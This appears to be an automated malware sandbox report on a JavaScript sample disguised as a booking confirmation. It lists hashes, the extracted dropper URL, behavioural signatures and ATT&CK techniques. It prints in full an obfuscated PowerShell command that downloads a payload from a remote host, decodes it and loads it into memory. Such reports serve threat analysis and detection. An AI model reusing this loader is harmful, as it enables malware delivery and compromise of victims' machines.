8754cc9b00034cb36d0e8de01d1ebc0cfceef3ef85b5fb3b3175a9e278bfde8a

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 00:18

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General

Target
BOOKING_CONFIRMATION.js
Size 1.0MB
Sample260812-al2tnsvfle
SHA256 8754cc9b00034cb36d0e8de01d1ebc0cfceef3ef85b5fb3b3175a9e278bfde8a
MD5 cbf1b1c9b64f2124dcee75453a4e3ed7
SHA1 16d09092a86705121fde0c8349bc48c72c7666fe
SHA512 f2ec91b63ea1e20af3b1339f485a5939b321b3b139a88c08c86d967a34913ed5d281ec13c54edf93975e06b9f09a1b31ae977b32a406958cc0b8a56f6bdbdcf9
SSDEEP 768:pjZS37L6qvOll8XllS4qlcumlliyjEWhbHO3Yz8w/HlD4kCKS4Vg7l0tlhtYpxZl:+4
TLSH
T1B6352BFA36F9F8BC4A1B31C6D9878406DB31350AC817BD54F2BCB0D3548251A68E9D7A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://muddy-sound-e0cd.nodetectonn.workers.dev/IiAYX

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4420	700	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4420	powershell.exe
10	4420	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4420	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4420	powershell.exe
4420	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4420	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\BOOKING_CONFIRMATION.js
1⤵
PID:2844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$ureotelic=''https://muddy-sound-e0cd.nodetectonn.workers.dev/IiAYX''; $compossibility = [System.Net.HttpWebRequest]::Create($ureotelic); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''6Dgr3Q+ZXF7pIY+tS30n7RiOvsSp15+x/w829fIXq2cyPpadsTsU48/M9KPAlq8f9qoxJZjbS7PG3n5lGYx2/Q7HvWH1R/7r1bMb1zoTyNM='','''',''AFBkbVNLKWn2UwzGGZHCqsmWVyw9fen8O2rJ3FNqpiE0Dp764XSawvO1S0VcjK7u'',''EppJ+q2ohC0G6VsvRKTk/0nCEBlQIb5req8HaHckrsU='',''ItZ3BlEq2tckmxkCjVv33CwGHWI1Y4k3h7xWQieSOnQ='','''',''Sey8lgpHevA7O1uyUbeKbB0tE8YibzPhFimxsAqy3W8='','''',''Roj6x2mQzmpfsm5MH+SeILuhHTeN12Gmu2Lgf9o7crc='',''dQZ+Z3FRUKE+laRH6knpvCRrR5OcpQ3JCENqsZU/o4e1aEj/qXt1cRkavUZf+vYo'',''fh69VEV348kD1Kw8oPBKG3BqBaSOhdC6ppnu1mq6bW0='',''ZtXPuQ3YZ1S0PPeQtMGNG0qv34jqjf5YfRpGMWQA5Gc='',''RxuKlcF3qRIXON2izLlBcFKY5694z6KY8kaC6R9mPxY='','''',''/Fp991Hw2/xvjUQOZjmomVgNHVXHovP/DLRvodHK0hE='',''Zzdt7soVn9SGMuXvlzRHc2leTgbs2PT+/hBG+2zcbo4='','''','''','''',''C20zIgx+yEKaz/tlQeyeNGKjmkc5wPe50C9BvJQ8USU='',''Jh3NeqDrLUPd6Jxve+8S7cL4vt8E+qJEe39V3wJzkOQ=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4420-0-0x00007FFBCFDBF000-0x00007FFBCFDC0000-memory.dmp

Download

memory/4420-1-0x00000145F21A0000-0x00000145F21C2000-memory.dmp

Download

memory/4420-4-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-5-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-6-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-7-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-8-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-9-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-10-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download

memory/4420-12-0x00007FFBCFC30000-0x00007FFBD05D4000-memory.dmp

Download